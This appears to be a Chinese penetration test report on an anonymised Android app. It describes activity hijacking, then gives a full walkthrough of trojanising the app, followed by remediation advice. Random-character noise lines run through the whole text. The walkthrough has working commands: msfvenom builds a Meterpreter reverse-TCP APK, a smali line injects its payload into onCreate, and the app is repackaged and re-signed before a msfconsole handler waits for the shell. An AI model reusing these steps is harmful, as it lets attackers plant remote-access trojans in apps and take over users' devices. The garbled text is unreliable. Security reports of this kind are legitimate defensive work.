' [+ A& {8 K+ D# e% h
9 {- V; [$ J1 m
p7 Q1 y$ V+ O0 u h/ \1 _- n( K1 U
, x7 q6 r+ F) _% ?3 c : n2 _/ f6 h# j! Y
8 P; @/ ^5 J) }5 r
% @# o# }) Y# v# C6 M* t
4 }" ]+ q4 n9 _( j+ s# p4 G8 {9 q
. H6 w) u7 H5 W3 ]
6 M0 s+ u" T3 o* a/ _
) ?$ B) z$ h3 c0 k, i# a7 a0 W# m' j7 J. L4 [
表1-2 测试结果
- V7 _' J3 V4 w4 ]4 N5 w2 f' z: M% z) ]0 k/ n1 ?% O ]3 S# a4 T- p
# Y8 \, h, _0 Z
: W3 }2 _" J- ^/ r( x4 j' m
$ a3 T" Y; I+ m/ G4 M- A- U
/ c( ~4 K: t- A3 Z8 | u
. L, o) M M! ~6 B0 |& Z8 ]" u& u7 |( U* g- o- I V/ c
, D1 S, ^% q0 C
% S" z9 ?3 p) b7 |
/ E7 h. C/ R6 m V: i( _( q, q. R0 `5 r, N' H- _+ y1 W
2 检测结果 9 @+ q9 _; ?% ?4 L
4 h( U0 ]' x9 ]' z' V( `+ c
7 c" ]3 Q# C2 m9 K
' h5 E- w2 p5 E: i7 \' e ! d% U3 y# g9 s/ g, @
# H" p/ s; }. i3 d, u: z
2.1 某某某 ! C$ Q$ ?6 Y+ N& m8 F0 n, @6 o* m
+ s0 j% s$ L) \5 z ? & o: {( O& c+ n+ @7 K" L2 p0 N
' ~% j) o# [ H' N; U, o4 Z% d
9 P; N2 X2 a' q9 V' o' W/ Q8 g/ U" M
2.1.1检测目标 8 x# f6 j" l- ?7 ^/ y
2 }* C7 E) i2 d / G1 ]. D/ w6 v9 V- b: _8 \0 i
: m2 K/ \9 J4 d: ?4 M8 T, o
9 d8 Z6 Z" C# w2 b# G% P# X4 X8 }1 c8 _& t. l
目标地址: 某某某某某某APP
$ x" i. P3 a) F' G+ }' r7 J. R- V, C
3 t N% K2 k0 B' F$ {" c5 |2 }( ?
1 G, q9 k1 }7 v! T! m/ g- i8 A1 V: z4 G" p5 B, U9 c T
3 e- E( R0 |& l$ U$ S& p9 q& ~# Q" E. [
2.1.2检测结果 ! d7 o7 K) ~& x6 @; i4 l
& h1 R- R/ j& ? ]& T- a / X6 K( D, C2 c% I/ b& j
$ V6 v! ^7 W; ~ . e- r2 w1 z& C8 q3 L* @( i" b, e
( `: p; B" q( J" M! g" F) d( w 2.1.2.1
( w/ I' `! [7 b) w/ `
: g, W" P) }/ p4 I6 `) R
/ d, ~1 |3 F' R ?3 K8 J1 _0 y+ J6 z( N
2 m9 E# v8 t: ?' h8 U
! B2 D* S `& E
) w/ V7 i! c4 F# l 漏洞链接地址:某某某某某某APP
3 c; t m+ \! g
! t6 X& f& Y) U) \% Q/ y0 G6 O" q/ X ; s. }) G; j' h
* m: `9 y0 ]; a& q
: A* Z; E/ c* \1 ?( A+ Y
6 ]5 U2 ^) ]& }
2 R& I" T1 @& y% K
: p8 o; p& L" E$ l* l" W2 `
8 c0 P f A# r8 G% [* w
% F- J8 p' [7 i) \9 z2 G7 l. P ) \0 f: y8 Y5 Y
( O) N9 [) v2 H
漏洞分析及取证:
; L9 k6 i4 `6 {8 u8 P5 o* }/ e% e5 t8 F% F8 o3 j
* l4 B2 w; v* v8 ?2 f" i; a7 d7 Z/ l
5 N* k! V( |% C3 s; Z$ S, ]6 ^ d9 y4 d& I2 b2 p6 x9 d
: L3 C; \7 y. q2 e' Q" i" h 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: + o& k& ?2 \$ c: C: ~/ V- \8 [
! h& [' p0 j: d* z& L' H; N0 V* F
5 Q* I/ G3 c$ g% O5 S
9 n3 e# I4 M% W' O1 a + I$ d( [- [6 ]
; [: M. ]1 L9 M$ L
, R- ^' m# e$ w- _. |- E6 z8 n' y( v! G1 R
; S; c9 ]; r. f: L. h. Y3 p5 ?' W9 O
7 \$ t/ f4 E4 Y7 ~" A
( ]0 l! a. Y9 L" O/ d % f( y; I& B( j5 G. v
" R i2 G9 |- ?7 ~/ z5 t! r
, @& U) c1 K5 t' D; B# P+ ?9 A, n, _/ f
@% y$ Y8 |; {! v: @7 b! d! v U5 k
8 M: V* O" N4 h; b: E, q
( z" O; A1 J1 M8 Z* d4 {) v
9 c) Q! s p2 Q* g0 Q. B% c- {1 s, g
2 E1 n+ o- |0 S3 |: q/ V( @
4 W9 Y2 G2 e$ q! P# ?2 n % p# v: S' D$ U+ V1 F. n0 U
6 |. k: P: F: ?& u; e . T% f0 T& W3 i+ D
6 a7 G7 w( o7 T+ Z
" z6 j# r+ w, }6 d! @6 F& J+ H* O" y
* H( [) V4 f; G5 H: B+ y2 y 9 {1 W# n) ~( \% l' c6 O
* H b: ]5 @' E! o N$ k; @/ f9 j; p- f
* }- L4 }2 b1 X4 D3 ^ % O5 Y0 l) o; P g( q. c; G* f6 Z
0 Q' ^. R& {2 \: }( D 漏洞危害:高
, ]+ J# M6 v+ V$ S! n$ o/ U7 T( e. ]5 d+ P
" Z: y* y$ X: d+ |' M
5 u" F, i8 ?8 `& P4 M2 s
/ H0 d, C3 t: b; u5 ^$ @- y9 U% X: Y, x
7 t9 B5 h' \3 D
# v. S+ U, ^2 D/ n% w
/ k0 f2 x/ f+ W
2 o* U9 g/ `4 G" {) z. B8 H8 G( A
2 p$ ]9 i: t% H/ t! `2 {
# l1 b5 w' K# c* ~4 L7 J7 h# k) ^9 T | , z+ X$ g- L0 r/ S& I
9 n* j: A! B% r" c1 D
6 W ~9 m& q: b5 Z! z! g
9 m9 w' g3 L; d& X% [6 i5 E
严重程度 ! u, a4 K; k7 s7 y/ K* F i1 a
4 Z- y2 V: i9 {9 C0 a; F
- Z, {3 T) C3 V( Y1 v: |( w6 G; A7 |, j
|
' C/ j6 n. @- c1 a4 X( `4 N) O
% K9 ?& w3 M. S' `3 x: O
& N& D0 d2 R" ^7 t% w+ _% O4 d
' O7 I# G/ k* I, d, L 3 ?! j' t2 ]: Y+ `3 P9 q
$ C$ n3 H! d5 g 高
- [( j* c/ [. d0 h8 o) A
4 J1 s L7 R* P
`9 [! @- G# c
7 z. l6 A" e8 L |
9 j) W1 f+ _8 R6 {5 c/ u$ t* F; p u! P* U* N# I# C. G
6 o$ a) X5 Y& W8 {9 W" m {
' {7 [7 n' f' R6 @ 7 f" Q) s! D3 k; O9 L
% p! ?5 d' F& K7 U) h3 h ■
3 B" f! {% V% k5 e( t8 u3 B/ f. o5 }% j* A0 z% ?8 q3 i3 m
$ v4 x8 O$ e+ j" s0 Q% E" u: M- q) y
2 Y6 E/ q8 ?& U; w/ P |
4 r: k% ?7 ~- ^7 d1 R: ^( x: G
) W" ]0 l+ Z2 f3 r( r1 i* M* @. h
( w" m: R" A, F0 D5 S0 H
# k5 U/ ?6 d, r
* U q+ w, m$ C f$ A( t- y4 f& q# s3 m' E: y0 M0 |7 c1 k
中 ! `8 b: I+ K' f' p# G' M" P( p c
/ E3 ?+ y6 C' Q) S) `
4 t/ e7 A+ M* I# n A3 `* R1 m' V
6 T( e7 P9 f) ` F9 \2 S |
/ j3 I' ~% ?3 B% {2 a, q- m0 L* L9 X3 W7 G& g6 g
% B& D0 x3 z: z5 P s1 a- {
# B2 Q b, R }( n% i) }! k
( x4 k: w, `# d2 w
1 \) ], X, O0 `$ u V 0 C5 [- a8 n' s- i
. c/ A0 d# z- F% H
4 O+ M# j! i0 O7 w1 {
0 k" p% g8 S) W3 [ | " `. P' h$ {( @0 Z2 O4 z$ ]
S0 N, H* C8 N4 L- k6 a
, U' s7 A% D( o D% k, D) b1 z
( D, |) e1 L0 h4 S$ s, u
! Q0 c, E1 v/ a/ |' A% M, l. P! V8 _0 _: ^+ \1 a( Y0 I0 z
低 # q( N& N7 j( Q; F
7 A8 l1 N$ K5 {: s$ ]8 z" s
`, ?, Z ?9 l1 X# v: P* x' q5 v r& d8 L6 l5 A, H6 h
|
! P, t y: Z A# Z* W% ?# |+ }3 ^: G/ }: x
! m8 I7 h1 X6 u$ ^
2 b4 s5 ~1 Z* I: S4 O. ~( G * n: t# t. S3 N/ o2 |
; \ j$ ]+ Z' l
$ b' V/ P" O. N5 L( t
@! N% P4 \2 e6 e+ y5 ]+ P. K. {
, p# H4 t" P2 e: o& ]4 |; N% u
- k0 o5 z6 N5 r4 l$ g | / y3 n* l5 a- I, p* N; G. [
9 ^) N, M5 U4 P7 G
2 z% _! b# U5 m: b: x
4 ~' H6 Q* }9 l( ?' \1 Q7 e3 p* Q( e
4 J! q5 _# }1 j _* ^: q7 K
$ V. h' T6 K; K . V+ P1 x# _, L
# ]1 T: V$ d/ S2 l& N+ v, ^, c8 k
: c# |5 \% x# i: m3 A& q7 @7 o
$ N8 p+ m# N! P" x" E; q S ( v: Y, d% M2 W& L* z8 k# Z8 |- ]
* W3 y6 Y+ \+ R# G
4 @' ]$ f( J R( z! R5 c5 k S! J* p' x; u" [2 P: L; g
9 ?, @4 O3 Y. o0 Z7 N
" E- z% r) R( s2 X! i8 c( X- |
5 e% r" q# _- D9 F
4 f- N3 H( L/ h: [ 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 6 G0 ~2 ^7 Y3 N* m- L5 c7 I
! d- E" S2 Z& \5 p
3 Y& |. {: Y% Q, \; j0 u0 B' H) V
8 R: a0 f, U$ O1 f+ f6 m$ H: W' ~5 t! Y+ K; L4 @- s% A
% W: H1 v8 e+ v& m
4 K l( h5 U ^) Z0 ~* q& I1 F
& K' s* l a5 d5 }% e6 X+ _% E. n! H8 X* S
: J* ~& c3 N7 U( u; M4 H \6 W# D# p! n3 O
$ e# {7 t# Z Z( I$ G& ]) ~2 ^5 n2 z) G1 T$ ~' g, z
% ^; \3 ^& C2 B; U
; ~% W9 u$ C1 i0 S' O: ]3 F, u
" f- u2 I$ e; v% D
7 y2 H; G! c) f1 T3 ?/ V 2.1.2.2 0 J1 @: `* u7 _( \
) p0 E g7 y5 D4 d0 n& f
$ |/ m* d- B, H0 `) Z* t, w* J; H4 }- z7 l: f$ ~. O C2 q, C$ |
0 x/ e, {6 g6 |% e/ U& t4 a5 B3 W3 }
漏洞链接地址:某某某某某某APP * e- N1 w5 O7 e" Z- m7 ?' O+ T9 z2 N6 }
3 |2 \+ S1 A7 u6 e4 \1 k" H7 b0 k
5 Y* {" P y6 s3 H3 j* j: b4 a& P- s8 e0 j
& T; g4 }$ j$ M9 u# E
$ T2 v( g9 r& s# O7 x
漏洞分析及取证: G7 D, B/ y, @, w; m* U/ w1 @
: C/ w9 G0 q' L3 k
# k9 Y, k0 ^* Z6 J Q( F: {" ] C$ P% j1 z, c
0 T. k1 }+ ]( [% h5 d, \
1 R% h3 A+ O4 s+ ` 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: + V4 k0 `) r+ G/ Q' p0 ^* T
. e; u& s# y1 w! M( S d' w
- Y8 O' W# J- v5 Y% M3 t# Q
! l! K0 T8 C, w- U' R
% L. w, {* n; d/ G: A' c! n
6 r1 }- K6 K% J* U 用Metasploit 生成木马 apk ' h7 E0 G+ p' W3 N. v& l
: v! d. [2 F1 J. X/ \+ N3 x
" I! \0 q; o' {8 J+ @2 g. Q/ Y: X" Y
) J: M2 K" l' Q3 \
: k7 Z* p9 o: N. J" n' m
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ! v; z, j: w0 g- ^
) h/ r6 r/ E: K" L! F/ O 7 R$ Z3 \3 F- u9 t
# d4 v. u L0 ?4 K6 T. I5 x
* Q6 {( J- A0 k, F
/ G# w$ m/ x7 w T
反编译目标apk和木马apk - M. _9 E1 o. q& q; ~
. h( W0 s% X0 j! ?' }) s) Q, G
6 T% j) t3 e1 t0 }: l% _% Y) d6 g) H9 t9 y
* c: O$ t) E( P& [& [, K
: v9 x1 h$ d) R4 h apktool d target.apk
, t. p- x9 S0 k/ R- f
9 @. I9 T+ U4 t5 E- ]8 n5 I apktool d cockhorse.apk 9 F$ F) A& R5 m$ D: I9 ]( M
2 \: {7 d3 |4 Y3 y1 f$ Q2 E7 Q
g! v/ }# N9 r8 B8 N6 S* Q3 ~5 J- t$ v8 N# O
) O$ D- A, k& `# C; C+ i
, f2 Z0 t/ M2 X3 b" S2 _) J
木马 apk 注入目标 apk $ O" _" [* J! {# B. n0 s1 W$ s
, H7 T6 y/ K) E0 t " I) w& D1 O- n. [# R
$ H. Y% T1 E( G1 r4 W! ?7 j& }
" Q3 K" M; u+ s4 b# u
) ^( s0 G, L2 s& z 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
/ G ^! u% p/ Z+ @( |
, b( |* b7 r) d G1 e3 r4 a% ? invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
) `' j: E4 P. ~* k5 q. k% f8 g: B5 B/ e8 d
( F3 h% p$ A: a' ^6 t- J
/ L4 [2 y. a3 ` s& j # j: r/ L$ z6 r7 R
- d" u# ~* Q( X! `
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
4 c$ x% ]1 v2 }# |5 P7 |7 R- A6 A% R9 _8 ]; f7 y( i6 y
' f/ B: ]9 [8 Q' v6 m; v
]4 P3 ] L t4 l/ s. M% }: j
, }8 C/ w! H( |! E
6 |( v: G9 `9 \. T- R
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 9 p" K: q7 l) f8 c, t( b+ V6 }+ Z
) b$ s0 v9 C& H2 v! a" X& c
, _7 ?# \1 o y/ m) @
# L h& M/ q6 m4 p 6 n7 E8 C/ i/ i' f
' ^* n0 y* j6 M, ]# H 回编译生成最终 apk
4 n0 D1 ]; A) Z: m4 U2 f5 p- M! N# `. }( \3 Y- ~/ Y
+ \3 q3 _( l# x2 P$ j' g1 C
3 v3 c f( \& r& C) B
" {9 f9 d, c" d/ }$ |% I; O5 O. D$ p1 r
重新打包
' G" w% @3 z* _9 z8 c6 j, V g" G+ G( V# O% o% B% Y
9 F) p7 L3 @9 c5 K: [2 P. C; Z1 _/ }4 J
& k0 }! b3 ~! @7 ]8 e" \7 D! c+ m
* u: L, h9 A0 s# \; T! k
# k* s! C' @" l# E7 T
apktool b -o repackage.apk target_app_floder ( u2 J" q: n, j. `; z6 E' z6 x
7 }: U: x' e% |5 ]) \! m# S . b) j/ }+ z/ Q: L( P( q
; R: d! J6 C* ^& i ' t c! s6 a/ V6 U! K
. s0 V- x1 b$ G9 S' W4 ~ 创建签名文件,有的话可忽略此步骤
' b/ H9 N6 D' c3 b& p1 d4 s& a$ ^' f) H
9 j! B: L S) A( s9 C; p! r
6 Y2 ]9 ^7 Y, j) g; `' ]
1 c. s' f- K( M; \' N) O+ q9 c( E& g; X8 e0 d
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
l( B5 V ^* a+ j' z0 n
3 k5 q4 d0 Z( ]; Y . P5 T0 P2 ^: Q1 }7 l$ G3 H) v
4 U3 d# l4 j0 B& R/ v, a/ E
2 y+ f7 R( G1 Z8 Y2 ]. C! p
+ _* o5 r, b2 l- W5 M2 Y 签名,以下任选其一
% Q0 m" `) m1 n6 O P
/ ^ F$ M: v2 ~# I
2 v+ Y# x, U' O; T1 L3 j1 @
" o$ P7 Z9 Z1 m* o 3 N) V3 h6 K. k4 a$ ?
0 |. l0 ~0 C5 n- y8 B; M jarsigner 方式 " |7 V3 G% r/ i Q- f7 n' d; W0 W
; f0 h! d. N# B5 M
i/ q. A8 J8 s
" |8 v$ v( F/ O. ] 9 O4 N+ n& J8 P4 d
. A( k% Z% m$ |, u# f5 x
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname & G) N+ @; B- A+ G& @9 W, Z/ K
( w6 I- F; h$ e; V) ^3 K% Z& n & u2 _5 i& b: E- y: x: K8 }
' {$ Z' e& v7 F7 D% M6 b* B7 p
6 K3 }! N2 R o# l- r8 q8 k# @. Z! a" j5 G$ `0 d
apksigner 方式 $ Q, `, G8 F6 m: H' r
* E" H0 k% d4 ]
% {8 i0 j6 n6 f. c
7 F# H. b. I9 E- Q
- A' K# w8 S" p3 J8 ~( C7 R8 G5 q; W8 q% [2 @
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 9 z+ x) Y6 d/ d
5 U8 r/ q1 j& A7 }, g5 ?; K b% X) j, G+ S2 s5 |% k
/ G* J9 k% B- i) _& Y
5 y; O% z r/ Z; k4 ~3 S
0 l$ \7 N0 x9 A
如需要禁用 v2签名 添加选项--v2-signing-enabled false 7 @- M N0 j3 d; Z/ Z
* l+ }. Z; ]& B/ k' I, f& l
2 H. W3 O4 ^( D! B5 ]/ i
$ X- l2 J/ h b/ V
3 Y$ d6 v6 y7 A0 } E- B3 o6 Z% @. r3 B4 V! N/ |
验证,以下任选其一 % m, w+ c7 z- ^+ u: {6 Z4 a" K
7 U& }, D" i) E% V9 F* r
" c! t; v! i/ G+ Q* z3 N3 |& `$ D9 p, b- a
8 H/ a$ v/ w1 R/ Z- F9 |% N0 Y% l
" `/ T, ?* d( L' f1 b
jarsigner方式 5 z; L% c0 T. d0 m: z# d
# p& X! v) ~ ~: y4 Z
# k0 ^9 z9 `& j! o6 w' k4 ]! a, E6 j& N3 H; N+ N/ J
: E! M" ] M' t; c5 a* @' W1 z0 W
/ m/ s% K$ {& i2 C
jarsigner -verify repackaged.apk ( w) ?7 X, L: N2 ~/ P \
6 X5 L% q! I2 i: ~, z
5 V" n, h4 v. O/ v3 I ^5 T( R. ^# s3 w( R4 S5 O
. f8 ]6 f/ O0 C9 b- l
9 s2 S6 n' J% }; ]! @: r1 T
apksigner 方式 ! D& Z8 c4 d+ a
" R, x; u( @$ P" w& u! P' z
/ i# R& R% D$ V! p! ]3 f( d, K6 [/ T0 y& Q5 O N
/ f& F r9 H. x3 R* y' m/ w) O/ a4 {# ~9 h1 f% J8 [6 F
apksigner verify -v --print-certs repackaged.apk ! x. d, e# R* ]0 V/ y3 R0 T0 X! V
3 y+ } d: `" |
, V0 }- H, z* I+ Q" Z9 J+ u
6 ^( J9 M% T4 c. Y3 L8 ~
* G: w, V G' Y, S( ?) v' o+ V" }; m
7 F* ?% C0 |# B G1 d% a5 W keytool方式 5 F }- m& k7 Y0 E
& K1 ^! I! r* F% M
+ e/ I7 k: i: ~4 _! b3 V# n
7 R) ?3 o/ ~* E' q& i
: O3 h) C7 U x" S
3 _& s9 \7 o7 r1 z; L9 a" Z keytool -printcert -jarfile repackaged.apk
& R( ~; K3 `8 [ z2 _( {9 I8 ?8 W2 r: e* p" ~4 C* R& i' [
& u. P* W$ k* g& W1 C& g
1 _- H2 I& Q/ k. G
& q- J: `; n1 L; p, J0 A
' D I \- R Q% c- N 对齐
# z4 I* l# G7 E. P3 @2 J" a# A5 K9 s
/ S3 w, ^$ m( X4 \# a0 j* U3 j0 r, [ }5 E4 g
) r: e, X( { K! g2 n4 ~3 h
7 F% c$ [: P9 T9 k* `5 v% s8 u 字节对齐优化 " V. Y- |% D4 G0 J5 l9 w
. E5 |/ F. g% U. g E
: e( h% r0 U0 t ^; P$ h
. P. I: @: c1 N9 _& }2 l
4 t9 _9 H. n4 l R* T N% f6 m5 P" C
zipalign -v 4 repackaged.apk final.apk
* q: ]6 a5 Z' i4 z+ o9 `9 x: M- f `
8 Z5 N* K" o0 t! j) s 2 |# V& s# n4 m7 Q0 F
9 z7 D, g# \' q$ g
. F$ w! C0 i) [8 j2 A1 I1 ^6 \: ~# D2 ~
检查是否对齐 7 y% A8 S" q8 H* A
, b7 x" }# W z; R f/ l
`4 z. g. @+ }3 G7 b& y
# F4 t* r* ]0 H e; d$ d* `
( f4 S: A/ n2 g8 d# U& H
9 r+ r- e' i! E ~( L: b W! E zipalign -c -v 4 final.apk
6 h& ^3 k1 A4 U% M) \& l! G9 C- b2 o4 b3 ]6 J- K$ B3 r% t
/ S8 I7 o. n2 g+ T1 g' \: ?# B
9 i4 }: R4 P' K' J0 u + |8 u7 t: R8 y8 `+ k$ h( M, Q
, \& m6 ]& s/ N1 H& g
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ! V- D+ M }; s
" t- a0 @9 l: p
. W( ?8 p. n' I* E, u: D9 M W2 \+ F/ N- o7 G: R7 Y
8 S) }( f- \# }+ N* P
: _ Z4 j! o: |* |0 Q" S4 ] 启动Metasploit控制台,配置参数等待上线 # E2 K! F+ ]- |& M) ?7 M9 w4 M
+ x1 a" |; M3 T6 R
?; \5 i( G) u( u" z& g7 {7 R
. \+ _8 Y. W3 }* T7 A5 Y
2 H5 ~' b* c6 n( i7 f# P' ?+ \" ?/ ^7 q$ l: y: l6 J
在终端依次输入如下命令 7 R" g# ^; r" B6 K
' d6 K( b9 J) Z: t# X , ]7 P7 M# a1 ]. c5 o5 c2 L1 v
! M) v/ B. s1 a Z 9 T, c( \) g3 N1 H" T0 C
4 D" K: h4 h1 p+ ?( O7 A
msfconsole
5 I& m# g& \" Q; u S+ m5 z" M0 e; a# Y9 T; @# a
$ }, v8 h; ]9 g6 w5 z' q
$ w0 ]/ V; U. {" T8 p# r9 j j1 u" j3 B! T6 D8 C' N& E
6 h1 Y1 Q- C3 [4 J
use exploit/multi/handler
4 b! N- A2 i) i. B/ U" O& \- J, c& d3 c/ X6 [2 j, h0 C
0 f* ? c; K6 H/ K
. c! R5 c3 l/ e" E9 E
- y' u. k/ C+ f8 u9 o
3 `( w8 |- d6 ?! U set PAYLOAD android/meterpreter/reverse_tcp 5 O, y2 `2 T, A |
/ K& H# b$ \2 P
. u2 t- m1 _2 R0 `4 F6 {" A6 L3 i0 U- Y! S
9 F" W, A; z. {* q; w$ H' U
+ ?, y. I# ~8 x' {/ T set LHOST 192.xxx.xx.xx + A- w# ~( {4 k' Z4 g
, b4 i0 L' p% F8 \% Q' o
l0 G, H6 Q0 c2 p( n+ L, {, @ F( G, p# X1 J. g( ?
: f, I5 @6 A3 x
% l3 u, [: f, A% T" G set LPORT 4444
8 a' M1 F, C+ U9 g0 U( {& w, K0 v% q6 e8 J& t3 I: }* o
' A; w; e- R- k8 ^
- l' L8 S% Q3 H* O5 a) _; M2 ~4 u! x
4 I- T; P( E" ]9 ^( L% O
% M0 u* q2 N: _& d7 {" {1 Y9 Z! O* M exploit
! C" ^$ X6 q: I5 T2 `. @: L
( q: f n" ]' _/ c# y " {+ D5 W( l' f* z
0 ?$ I# u3 m3 z8 |& c
w5 j. s+ Q% f. U: K8 i. |7 B
2 k! ]: Z. \! J1 } 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: 1 q; o5 x8 w' A& [. ?! ?, t# V6 j
2 M* G& w$ n0 f( I( I! C # Z6 n6 P9 b: G1 J3 H
- m7 k- \& E) J; j3 V4 W4 f 2 `2 n4 R: A5 E" h2 j: L
( q4 L" `! H7 x8 T0 k4 \
漏洞危害:中
* D2 U* k* _; A( f! p; z& B0 p
/ i* y; E! ?$ a& C ~6 g+ k ; F+ V$ @( C7 B: `9 B% A5 }' d# n
6 f8 o1 P' H3 V3 T- b3 i 2 p+ V* y d5 I+ D7 u3 l
& j; y/ J! h' r
* f6 u r4 W0 `* F6 S
, a& P- \$ r$ x5 x
. t. T4 D8 x3 s% g
1 V7 j Q6 t; s7 s5 R6 _" J+ ~ 6 b ^/ A4 D3 t5 T
. N, [, T* n9 Z2 |6 G' Z " O" R, ~7 l) t4 M
, J2 h5 I% l1 r3 Q
|
) N1 g6 \& K, x3 p" I3 k' k8 z8 a+ D& Z* o1 I) Y; \
% w6 B: u5 n4 w; m+ x" Z' c5 z, w9 z5 O1 d% s$ A+ y$ y
严重程度
" W) Q) C1 \- x3 |
: B& D3 c/ A r4 P6 d9 }* x! G 9 r- @; O+ M- K. Q3 [
8 P4 U5 k0 t$ E: s- ^" Z |
% K+ ~" Q1 k- V( V. n8 I4 d
* \2 L2 I% X% o; b- t 6 q1 r7 \+ o' M/ L- |
. r1 M7 }* F, V2 o$ G5 | / X( K- E* K" Y* u
6 z: c* |8 M# {. m7 B
高
9 {+ x2 i0 |( V; ^" I l' @0 \
8 i1 [5 _- p. Q O! X! B+ i5 K
" A( N6 E; c# v( }8 B% @2 t: C: m8 c7 V, O
|
o3 D# E* J+ w' @
, Z" t! f% V. M5 i8 d3 i % j5 O; ~# u4 {; u
( g) |2 T+ z+ i; D k( h
% K7 c/ |& ~8 L# u) d @
4 X3 K2 O7 J& V# V* P; k( d ■
6 U) @& g# Q: K$ v2 z; T7 R) Q$ N0 S& L( k* O3 b
1 M( i, I& M$ e% s8 j" C2 A6 Y5 t1 }" b
% F1 {3 L+ \& r. f |
* c4 Z$ E, d% o: o; e
, z8 ]" @8 P! V) ?9 p 2 q; E7 w+ O" p6 g0 T) b3 C8 n8 R
- l& w; ]4 c2 H+ ?9 H' C1 w
3 E; r; R3 `7 ]' Q
y' z) j0 X+ ]- i! p! V9 f 中
7 i- i, O+ g6 p$ u& f8 }8 \
& b) B2 m3 J$ t! t8 G
* O( G8 R# @; f. q! y
8 l% E- _1 v+ F; \ |
/ i$ q+ k+ `( N7 ?
' c& g% A3 ~/ k$ Z0 ]4 } ~. z 1 f; G9 u* |6 K& r1 t6 N2 \
1 e' B, i0 Z$ [8 K
: z9 [8 c$ Q2 {" Y- y/ x6 w2 K9 i
' L) U- }( }2 X" L
! Z# o) ^# {$ J& F- }/ l% d) j$ h6 o( d( w" H! w0 K
. h( h4 r+ _, I& h, O3 I
; J! Q! S5 I7 x6 E4 J: j
2 | r+ f2 F* r" k; I
4 i* |( X" {+ E# W& b |
, P5 y0 l$ {, B) m1 E6 c9 B6 A F8 [ p8 c! ^ B; V
6 }8 `' L) R6 B: h# }& X/ U
1 |) m1 c( H6 \3 P8 P) ^" M7 {
$ o$ [) E4 T7 P4 W' i. l( a$ K; C3 i/ f8 {
低 8 Q5 S0 K$ W% k9 s9 }. |1 J) B
M# H8 ]6 T( L% F3 L; B
* A0 N M- e2 M8 A& o
. x A1 h- I k' | | 7 b" Q/ D* F, d! K
0 P' z2 P! F I, s
. @4 ?, a4 e0 o5 ~: N
+ ^3 P2 _( k, {* l! t7 f/ u ( T$ x2 o0 a2 y' y6 [4 w3 X6 g
3 B" g* d) h( \3 O2 h
& B; _( I" G3 C) a7 I0 P! k
" V" @* c U; E, W' p0 H
$ ]4 a8 t* t, k9 [" I+ o. d# J7 T6 O1 n" _2 l6 C9 u1 @3 d8 r
* g% |+ V, }0 F8 ^) M( t7 n
2 X0 {# U2 u" }: ^! a |
/ c; v0 X! f+ [- n6 C; [3 {2 \- {
: J5 C, h* x& D% g * n' z/ X4 _" s8 {( B e+ B* H
9 l1 _7 w& V: g, S2 G; M$ z
' N5 \! |% o( J- e4 W O0 O5 A3 Z# a) m0 G3 Y+ _" D4 W0 I* J) p
3 [0 `2 `3 _" y9 r' g
. o7 ^( E( A S) a6 h6 N _# I
5 A1 Z Q( H0 T- @4 [8 ]7 R1 s
1 T& Z5 E3 ^, R* N 9 J2 z( g( Z6 T' i4 L, K
" M! f' ?0 [$ R8 ]4 ]% l( Q
7 e/ t" M' g& ? w7 X% M9 l" ~
; x9 X {$ u" G
* j0 ~- T. U, `( _0 x- W
# \' Y; j t# u* h3 m
( F: |( [& A( A* x E. H+ h( p- R
j: w) c. \' n; n: a 修复方法: * ]- \8 |- f F4 L
0 }+ }7 w4 T8 _5 q: z3 S
+ \" i! L- Z/ @2 n9 x( F9 ]: |% B2 c' [' C
v- n7 R% m7 q) k0 n M: {, M
0 Q, D; Y+ }5 T
1.在 APP 启动时应做签名校验防止二次打包。
8 u( F+ d; C) Q7 y, X5 j+ w% ]4 f: P6 |: {0 h
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 # h. w4 J1 r: m" s7 X7 C. i
4 S" H! v/ ~+ x9 P% z" E% ]% ^2 [* E % U& l/ g& A; O# Y
3 i4 y% ~1 @. h9 f2 X7 t8 }, V5 z
* j9 O2 p( @+ `% L0 D U0 ?
- F0 h. n6 l- }4 `' `4 K9 b : W: |& J6 ] [( z- J
9 g2 H) n; v S4 w. C& \) R) k, z. J * m+ [# Q& K G/ ~4 Y
: n( i2 t0 K9 x' ]4 s; P
# z" \. J3 y0 d% l: X) d* {
$ u$ B' ]5 _# ]" y( L+ u5 S
# s* K1 T% B; r- a Y5 H1 d
4 N# `3 |# v2 ~+ S; w* y( m $ }' t8 f1 V' w
4 y; e* _, t* [! x
2 f0 [' d/ d' J7 w
2 ]3 R! m% T2 B! A " o: X" v1 j2 u
, {+ `" L( z5 a. |: M% O) T |